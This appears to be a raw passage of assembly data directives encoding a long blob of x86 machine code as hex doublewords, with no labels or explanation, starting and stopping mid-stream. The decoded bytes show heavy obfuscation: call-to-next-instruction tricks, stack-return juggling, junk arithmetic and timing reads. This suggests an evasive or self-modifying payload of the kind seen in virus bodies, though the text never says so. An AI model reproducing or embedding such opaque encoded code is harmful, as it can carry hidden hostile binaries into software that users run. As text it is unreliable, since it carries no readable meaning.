0EF816FEFh, 0F961EAFh, 5195FFh, 6A0648h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 71F74CC3h, 9589133Ah, 64823B5h, 22959D33h, 0F960648h dd 88h, 0BF665000h, 6A96D62Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0C441C357h, 397A66F9h dd 0B689B5FFh, 0BF66064Bh, 95FF8D55h, 6481429h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1CC35545h, 0E2FF921Fh dd 0BD833AE0h, 64831A9h, 1F840F00h, 81000000h, 54FE69D3h dd 0D5BF9625h, 50028D8Dh, 72CA58BBh, 8B0F963Bh, 6, 1309BD8Bh dd 0B5FF0648h, 64BB689h, 0FFDAB70Fh, 4813FD95h, 3D9D2B06h dd 0FF064820h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0AC0D8FB0h dd 95FFF1A3h, 648177Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 76C35343h, 0AD938AB6h, 0F38CF26h, 684h dd 0E99D8B00h, 2B064828h, 4807D9BDh, 1DBD8306h, 206482Fh dd 84840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F79EAC3h, 858BF8B7h, 6481551h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AFC35646h dd 8531B773h, 64831FDh, 8E8h, 87C61300h, 10CB5C84h, 68D0FBDh dd 81000000h, 0DDC9EFDFh, 0C65F5Dh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 85C7F2D3h dd 64816E1h, 0 dd 32F07CBFh, 0F353E96Bh, 8D29FFFFh, 648047Dh, 8B66C18Bh dd 55858DFEh, 80064812h, 0E990FEC7h, 14h, 8390887Ah, 0BD750EA8h dd 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh, 9E850h, 0A8E90000h dd 4BD37024h, 0F4ACF68h, 281h, 5B5F5000h, 0DF816690h, 6A7D07h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A7C35343h dd 6AD98BCBh, 5E800h, 38FE0000h, 818C84B7h, 0AB2924D3h dd 858D5B36h, 64C840Dh, 4751D381h, 0C0834D45h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 906B57B8h, 35B75250h, 585A310Fh, 0DE950h, 8DA80000h dd 0EBC1B9D0h, 0DD71F070h, 903C9D7Eh, 0F119D8Bh, 6A0648h dd 611BD09h, 6A0648h, 0EFDF8166h, 2D95FF60h, 5106482Bh dd 2F45BD89h, 8D5B0648h, 4B99388Dh, 959D8B06h, 0FF064812h dd 6840FD1h, 89000000h, 48047D85h, 0E5BD8306h, 1064830h dd 84850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 53DC3AC3h, 6A026Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4C30E8C3h dd 0F24B6D79h, 47B7906Eh, 90F98B50h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 54C35646h, 0FF3125C3h, 48005195h dd 0F7816606h, 5E87400h, 8A000000h, 517DF90Dh, 0FDD38166h dd 15E95B35h, 0E800000Eh, 0 dd 17ED815Dh, 6A064C84h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 7427C351h, 82525936h dd 7A59589h, 95310648h, 648312Dh, 93DA858Dh, 0BD8B064Bh dd 6482339h, 0DE950h, 0DCCB0000h, 441D41B2h, 0B5526A9Bh dd 8954A652h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 94F719C3h, 5260B0CAh, 805F5951h dd 6461A7F3h, 35FFh, 81660000h, 8BC8D0F7h, 4829399Dh, 25896406h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 76C35040h dd 8D0F2A63h, 6, 203D9509h, 85FF0648h, 6481AD1h, 32699D89h dd 0FF6A0648h, 0D55B529h, 0B5FF0648h, 6480915h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 1EC7E1AEh dd 3646913Ch, 0AE8h, 55C34400h, 0B07DBEA4h, 6635693Dh dd 4270CF81h, 0D995FF5Bh, 0E9064810h, 131h, 8F0Fh, 0B00000h dd 0B0D9D8Bh, 70E60648h, 1B05BB66h, 68F0F60h, 0F000000h dd 85h, 95896000h, 6482401h, 22898531h, 61610648h, 0B70F71E4h dd 0F613CD9h, 0F483h, 319D8B00h, 0F06482Ah, 9D8BC8B6h dd 64814F5h, 6BAh, 8BBBB300h, 0D19D0BC1h, 0C1064827h, 850104E8h dd 64811C9h, 0FE2F766h, 68Dh, 219D8B00h, 6606482Fh, 0B08AF381h dd 8C0FC82Bh, 0Ch, 850F60h, 66000000h, 61B5AAB8h, 8960D18Bh dd 480E2195h, 5D958B06h, 61064806h, 6E9h, 759D2B00h, 8B064814h dd 4811E985h, 62B4BF06h, 0C08370EEh, 0E99D3307h, 8306480Ch dd 958900C0h, 6481695h, 830FD03Bh, 11h, 294DBD2Bh, 5AE90648h dd 8B000000h, 4819D5BDh, 658D8B06h, 66064829h, 8B6E36BBh dd 48161DBDh, 1E18306h, 3B840Fh, 0D7810000h, 78334C2h dd 0A583FB8Bh, 6482965h, 11E9FEh, 78A20000h, 0DEE71D22h dd 0B1FE4B09h, 0B2CE69C4h, 57FA600Bh, 2FAD9D33h, 895F0648h dd 4811E995h, 0DE8B6606h, 0E9h, 5FB58D00h, 0E9064C05h dd 0Dh, 17B8ACD4h, 48F9FEC3h, 7172BD31h, 8B006A2Fh, 2D95FFFEh dd 8B064809h, 7A5B9DAh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0E183CFC3h, 0FCBCB3FCh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8BC35040h dd 0BABB48B3h, 9B58DD93h, 0B8h, 0E7816600h, 0BA1300h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0A576C350h, 3E6F9F78h, 19BF6647h, 0C233AD87h dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F8BBDFFDh dd 0F2ACA7Ch, 890FFBB7h, 6, 29F19589h, 0B70F0648h, 880DFAh dd 8B660000h, 5958BFBh, 6A064814h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5330C356h dd 0BB66647Ah, 8D8B56ECh, 6483025h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0E0C35242h, 0DD07536Bh, 5C375724h dd 0FAB70F4Ch, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 229FD5C3h, 0BDF3478Ah, 10E8600Ch, 0D5000000h dd 0A3D9A7FDh, 5C7ADB0Ch, 0B1A725E1h, 580D3AD3h, 6860Fh dd 880F0000h, 0 dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 60F98B02h, 0C6816660h, 8B665E1Eh, 0F68061DFh dd 0BD8361A2h, 64812FDh, 92840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 3361C357h, 0F4C4B6E8h, 0B8EEE48Ch, 0 dd 85895251h, 6481AC5h, 0BD8B5F5Bh, 6482905h, 4E808D8Dh dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B318EC3h, 8F9C8FD9h, 1335BD8Bh, 0E1FF0648h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CC35646h dd 8E9h, 58DBBA00h, 25079B9h, 0D9BD8392h, 6482Ah, 444840Fh dd 0BD830000h, 6482AD9h, 52840F01h, 0BF000004h, 76A68DB7h dd 184CF2BFh, 0D9BD833Fh, 306482Ah, 405860Fh, 0BF0F0000h dd 6A60FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 12EB5BC3h, 8C66E4E4h, 51006AD9h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 1A681030h dd 65C956C0h, 0B59D8B78h, 80064823h, 6A04E1h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 6A8ABC3h dd 1E38166h, 0FC90A88h, 12984h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0F60CEF1h dd 68Fh, 0C5858900h, 8A06482Ah, 858B61F1h, 6481159h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 53C35141h, 0DD24337Dh dd 33137D73h, 48121985h, 1880F06h, 0F9000000h, 0D406C381h dd 60905859h, 8E8h, 0A1E90F00h, 9AF91047h, 3AB86636h, 6E95B15h dd 0EC000000h, 952C20DEh, 6650611Fh, 6A90FE8Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0DAE7C356h, 0F581F3EBh, 50BD2DBFh, 18EB8057h, 9D01006Ah dd 6481851h, 0FE7E7568h, 28F0F77h, 0B7000000h, 24348185h dd 77E17D8Ah, 9198589h, 95FF0648h, 6480741h, 12918529h dd 85890648h, 64BB689h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 3BC35747h, 14E9h, 262E5600h, 2E599ACAh dd 0CA7C70A7h, 597D3108h, 635C1C8Fh, 1C0E948h, 0BB660000h dd 858B48CCh, 64BB681h, 31699D89h, 0C70648h, 18h, 0CF5BD89h dd 0B58B0648h, 64BB685h, 21BD8Bh, 858B0648h, 6481A85h dd 6850Fh, 0BD8B0000h, 6481B35h, 6A0689h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4C13B1C3h dd 62B365D2h, 59858B7Dh, 6A064811h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0CB36C353h dd 0B45C3F72h, 719D8BCDh, 8906480Ah, 9D8B0446h, 6482F51h dd 0E8536096h, 8, 0B6FD2BEh, 38673E8Fh, 0CB8B5A5Eh, 13E95061h dd 15000000h, 0B9188CC8h, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh dd 89966C7Bh, 480BB9B5h, 81B5FF06h, 60064BB6h, 29FE8B66h dd 482C4185h, 81666106h, 0E8FE04C7h, 4, 1F03FFh, 0EA50DCBFh dd 8B66502Fh, 24448BDFh, 52505104h, 4FB3310Fh, 8B5B585Ah dd 0E8525000h, 5, 2AD55634h, 5BDE8B95h, 0D2BB310Fh, 5A1C8FCAh dd 24448958h, 880F04h, 58000000h, 5E9h, 62020000h, 858DC5F6h dd 64BB689h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 2CC35545h, 905B53F8h, 8E8h, 9A314F00h, 0ECA0BC7Eh dd 0E952504Fh, 0Ah, 0E98FCC74h, 79867521h, 310F3257h, 7E8h dd 0F440100h, 812F3720h, 5B585A5Fh, 0FD8A5250h, 95FF905Fh dd 6480741h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 49C35141h, 4D06CFD4h, 9E9h, 0C3848C00h, 6803B15h dd 6A61A068h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0C344C355h, 30C1BD8Bh, 85C70648h dd 6482AD9h, 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 6CC35545h, 0B689BD83h, 0F00064Bh, 4A84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 246D881Dh, 41E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0D02ADD7h, 0E59D3181h dd 50064827h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 5D8986C3h, 26B7CA75h, 8BB353B1h dd 319D8B5Bh, 83064808h, 482AD9BDh, 850F0306h, 41Dh, 0B689BD83h dd 0F00064Bh, 41084h, 0E59D2B00h, 0FF06480Bh, 4BB689B5h dd 13E806h, 13940000h, 794B2E1h, 0A4F5DC84h, 8C159A5Eh dd 13866F57h, 12E9DBh, 0EFA20000h, 0DA3B5748h, 438285E7h dd 0CA0D95CAh, 7629243Fh, 0F781605Fh, 684E6276h, 2E61B58Bh dd 0FF610648h, 4809F595h, 11E906h, 0D6A0000h, 999BE9D9h dd 0C075B326h, 0F78D595Bh, 8B1312A8h, 4BB67DB5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0D9259B15h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 817D29C3h, 28EBD95Fh dd 664BF174h, 5096DE8Bh, 0BE666052h, 6160E1AEh, 5A310F61h dd 0D88A5058h, 0B9950196h, 0FF064817h, 4BB689B5h, 95FFF906h dd 6480061h, 68C0Fh, 0CF810000h, 2439E7A7h, 127DBD29h dd 0B58B0648h, 64BB67Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 10C35545h, 1CAABD99h, 0FA85CFA9h, 0E800F95h dd 60000000h, 32A99533h, 95310648h, 6481751h, 25858B61h dd 8B06480Fh, 4827419Dh, 0C4868906h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 1C5DC356h, 0C40FA8CAh, 8B8F7E3Fh, 48140595h, 7DBD8B06h dd 83064800h, 0BD3304C2h, 6481601h, 6A205089h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0A94FC356h, 0A85B4148h, 0BD8B8896h, 6480D09h, 0CAD4858Dh dd 8B66064Bh, 0B88689F8h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DE12C350h dd 85176A4Eh, 0E3242972h, 705E2EBFh, 0B5896016h, 6480221h dd 14E9h, 83E8F600h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 0D60DE9D3h dd 6A6143h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 84C35040h, 0B5FF5601h, 64BB689h, 18159D8Bh, 95FF0648h dd 6480051h, 0D698529h, 0BF500648h, 454FD357h, 6A243489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 7038C353h, 673D007h, 85097029h, 6481AD5h dd 0E344EF81h, 0B5FF4CEFh, 64BB689h, 6870Fh, 0B5890000h dd 6480B29h, 142995FFh, 8B660648h, 0A9BD83D9h, 64831h dd 47840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 1A14C9C3h, 0BEEF81D4h, 0BB6CA983h dd 71C728DEh, 503AB796h dd 0F96A0B7h, 0A81h, 48F0F00h, 66000000h, 890961BFh, 482F858Dh dd 89B5FF06h, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 6DFDC352h, 0B275B587h dd 0AB8A7EC0h, 8B0CE780h, 48003D9Dh, 0FD95FF06h, 0BF064813h dd 0D1B68C6h, 0B689B5FFh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 75BF43C3h, 0BA70D534h dd 0D58D89FAh, 0FF064819h, 48177D95h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 517EAB9h, 9D8BC501h, 6481181h, 2F1DBD83h, 0F020648h dd 3B84h, 1DBD8B00h, 8B064812h, 48155185h, 69B52906h, 0C6064812h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 2C5C17C3h, 66E85691h, 3533DB81h, 16E185C7h dd 648h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0AEF0A7C3h, 4D811B8Fh, 0FE8h, 17B4C00h dd 0A9A09F63h, 35E70A6Bh, 7B9E0E03h, 1AD5BD8Bh, 8B5F0648h dd 4829BDBDh, 0F330E906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0CBEA65C3h, 1EF8BCF6h dd 0E90CC76Fh, 13h, 0D1EF6128h, 3D139038h, 5A1A1A5Ah, 0EEC71F1h dd 8BB11F51h, 480A799Dh, 6AC18B06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 49CEC356h dd 14020A3Ch, 58B0FC5h, 66000000h, 613F381h, 1255858Dh dd 81660648h, 900ED1F3h, 50DA8B66h, 90FA8B66h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F4C35141h, 6A853A9Bh dd 0A5BD0B00h, 6A064823h, 13E900h, 1DB30000h, 4B94C68Eh dd 0EB779D1Bh, 6119CE9Eh, 8ED385EEh, 5D9D891Ch, 8D064811h dd 4C940F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 3F6C85Fh, 8994FC41h, 4833719Dh, 5C08306h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 76C35040h dd 0B2C86BF7h, 0BE9h, 0D3797A00h, 1A4F3622h, 7CF4747Dh dd 31BDBB66h, 0CE38166h, 0F98B90BBh, 8E0F50h, 90000000h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 73C35242h dd 6A67C6h, 9E5BD8Bh, 6A0648h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 3FC35040h, 4E72A857h, 0BD8B5116h dd 6480B99h, 2D95FF5Bh, 8106482Bh, 72AA0FCBh, 388D8D0Fh dd 8B064B99h, 482FD1BDh, 33D1FF06h, 480D1DBDh, 0E5BD8306h dd 1064830h, 9A850Fh, 0B5090000h, 6483289h, 9D8B026Ah dd 64815BDh, 0EE890h, 9C7B0000h, 0F6B5DEBBh, 732A6376h dd 0A962A740h, 880F505Bh, 8, 2880Fh, 61600000h, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F6AFD56h, 683h, 0A98D8900h, 23064801h, 4828B1BDh, 9B58906h dd 0FF06482Ah, 48005195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 80C8B959h dd 7EC5204Dh, 0B53196B5h, 64822D5h, 0D92E9h, 0E800h, 815D0000h dd 4C9419EDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 6A658BE6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8D85C350h, 4B93DA85h dd 0E5BD8B06h, 50064829h, 6FE5BB66h, 89240489h, 4817F5BDh dd 0B99D2B06h, 6406480Ah, 35FFh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0B2B5B2C3h dd 8964F88Bh, 25h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 7C97C427h, 8E1C41A3h dd 6E92277h, 6C000000h, 0A7E10EBCh, 69B5318Dh, 0FF064833h dd 481AD185h, 5800F06h, 0BF000000h, 2E18AB85h, 0E850FF6Ah dd 14h, 24EB35DFh, 12C07615h, 5F16F73Bh, 0FCCF484h, 18A160B8h dd 0B5FF5B5Bh, 6481221h, 33499509h, 95FF0648h, 64810D9h dd 120E9h, 0B5BD8B00h, 0B0064819h, 11E900h, 0F5380000h dd 0BA4D2208h, 25B2D835h, 0C27F094Ah, 668171ECh, 0A316CF81h dd 0E85170E6h, 0Ch, 5E314BDAh, 0DF125C9Dh, 7AED373Eh, 0DCE4F781h dd 5F5F2E78h, 236071E4h, 4803C195h, 0ED8D3306h, 61064816h dd 830F613Ch, 0C9h, 271DBD89h, 0B60F0648h, 0C5BD89C8h dd 0BA06482Ah, 6, 5A99D8Bh, 0C18B0648h, 0B5ABEF81h, 0E8C118CAh dd 0B8D0F04h, 0E9000000h, 6, 0B6EAFEC2h, 0F76686D6h, 2BD88BE2h dd 59BD8BC8h, 8B064813h, 0E9FC8AD1h, 6, 5FD98A53h, 858B7EB3h dd 6482A61h, 24058D89h, 0C0830648h, 0F38B6007h, 28F0Fh dd 0D08B0000h, 0C08361h, 1977BF66h, 830FD03Bh, 1Fh, 0E904D380h dd 45h, 85096051h, 64828EDh, 8E9h, 49D5BF00h, 0B07A129h dd 8B5F6167h, 4812C58Dh, 1E18306h, 1F840Fh, 9D8B0000h dd 64830D9h, 12C5A583h, 89FE0648h, 480F2185h, 61958906h dd 0F506482Ah, 0E9h, 1FB58D00h, 8A064C0Fh, 0F006AF9h, 95FFFEBFh dd 648092Dh, 10BDBD8Bh, 0DFB90648h, 6A000008h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 4481C352h, 0E8DB818Fh, 831DA9F6h, 6AFCE1h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 554CCCC3h dd 78E22797h, 81FDD3E2h, 0B6EA20E3h, 6830F22h, 8B000000h dd 482A89BDh, 6AFC06h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 579B2FC3h, 12E2B1F4h, 23395415h dd 4806A19Dh, 0CE906h, 95FE0000h, 2DEC9E19h, 0A384EC47h dd 0C02BBF49h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 2AC35141h, 195A324Dh, 6880F95h, 81000000h, 7C601AEFh dd 0E9D22B06h, 5, 3E03A5A3h, 0C233ADF3h, 0D003E8D1h, 7504E983h dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0F827CD26h, 6D9BD01h, 880D0648h, 56000000h dd 5FF8B70Fh, 1405958Bh, 6A0648h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 715C6AC3h, 665FA191h dd 74ADEB81h, 30258D8Bh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 94A210C3h, 9529A9F7h dd 6480929h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 5BDC2C3h, 0F20907BFh, 6AC794h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 4A47EBC3h dd 12FDBD83h, 0F000648h, 8A84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0AE91B490h dd 8D09FC5Eh, 6480F3Dh, 71C4C781h, 0B81495h, 6A000000h dd 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DFA1C356h dd 8D8D0AF7h, 6484E80h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0F7C35040h, 0E1FF4F7Dh, 51EE8160h, 6676EB24h dd 3FFFCF81h, 0C19D8B61h, 83064827h, 482AD9BDh, 840F0006h dd 42Ah, 83D8BF0Fh, 482AD9BDh, 840F0106h, 435h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FFC35545h, 0BD837E56h dd 6482AD9h, 0D4860F03h, 6A000003h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0C976C356h dd 89192B45h, 48050985h, 45850106h, 60064804h, 3860Fh dd 0DB800000h, 0D98C6601h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0F1C35141h, 1625BD33h, 0B5890648h, 6480D41h dd 6A04E180h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 41F8C357h, 1FADA26Bh, 14E9CE3Dh dd 0C000000h, 9B83B1F7h, 5F8AAA5Bh, 8B925368h, 0E5D19251h dd 8B426BA1h, 4814E99Dh, 0FC90A06h, 12F84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8BB373EBh, 48115985h, 85BD8906h, 33064832h, 48121985h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0DFF242CBh, 817B31DEh, 0AEBAF5F7h, 489500Dh dd 0F5BD8B24h, 6A064830h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0D509E067h dd 11E973h, 0A6020000h, 0F7679304h, 0E36D41A2h, 0ED30559h dd 6069CE2Eh, 89B50950h, 5B064805h, 1AD8589h, 68610648h dd 9B479E79h, 0C68B6060h, 4816161h, 0D7658624h, 0C3816664h dd 95FF5E46h, 6480741h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 7C35646h, 89F95642h, 4BB68985h, 0EB816606h dd 0C3E9BE3Bh, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 1859C353h, 88EEBABCh dd 9E884h, 8C100000h, 8571C8C0h, 5102882Ch, 870Fh, 5F5F0000h dd 0B681858Bh, 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 93C07DC3h, 0EE9CEA3h, 0AC000000h dd 6E445A5Fh, 1EEF287Ch, 44E9A854h, 6ABF66B7h, 1800C726h dd 0B000000h, 4810519Dh, 85B58B06h, 0F064BB6h, 858BD9B7h dd 6481A85h, 0D4E78166h, 890689EEh, 480441B5h, 0C7816606h dd 858B8513h, 6481159h, 5890Fh, 81660000h, 899FDCCFh, 6A0446h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8166BBC3h, 508651C3h, 11E8h, 188F9500h, 0B15EFD22h dd 0EDD5EB24h, 0CA761FE0h, 895F96CAh, 6A2434h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 9F644DC3h, 0CA51F3BBh, 0F88BC14Bh, 0FFFBBF0Fh, 4BB681B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 66E11756h, 9D8BF98Bh, 64832D5h, 0B47E1368h dd 4604BBC2h, 4811BA2h, 6A85EC24h, 2D95893Dh, 8D064814h dd 4BB68985h, 0B9D78106h, 907D5888h, 0F26ABF66h, 0EE850h dd 50F00000h, 0C7B2933h, 5A4CFBB3h, 622DE9B3h, 87AFBF66h dd 9D03905Bh, 64822B1h, 95FFDF8Bh, 6480741h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 53C35747h, 8589F74Ah dd 648234Dh, 9A59D8Bh, 1610648h, 480C0985h, 0D985C706h dd 306482Ah, 33000000h, 4823759Dh, 89BD8306h, 64BB6h, 49840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 823333C3h, 97EF7731h, 3DE9h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0B8BE3986h, 50D98B66h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0A149DDC3h, 0F560CDA7h dd 16158589h, 83610648h, 482AD9BDh, 850F0306h, 434h, 0AE9h dd 0E311C500h, 0AFD8A8DDh, 83DCE8A9h, 4BB689BDh, 840F0006h dd 418h, 17158529h, 0BD8B0648h, 64807E5h, 0B689B5FFh, 6A064Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0AE296CC3h, 9F595FFh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0FD99D0C3h, 919D8BC3h dd 66064829h, 0C1DCF781h, 0B67DB58Bh, 8589064Bh, 64819C9h dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 147D7AC3h, 5B882BAEh, 6850Fh, 9D8B0000h dd 64823F9h, 0F808AABBh, 50509666h, 7F55BF52h, 310F3144h dd 0FACABB53h, 5A5B159Dh, 6A9658h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0AB9520C3h, 0DD9D235Fh dd 0FF06480Ch, 4BB689B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 89A7BD84h dd 480D1D95h, 6195FF06h, 0E9064800h, 12h, 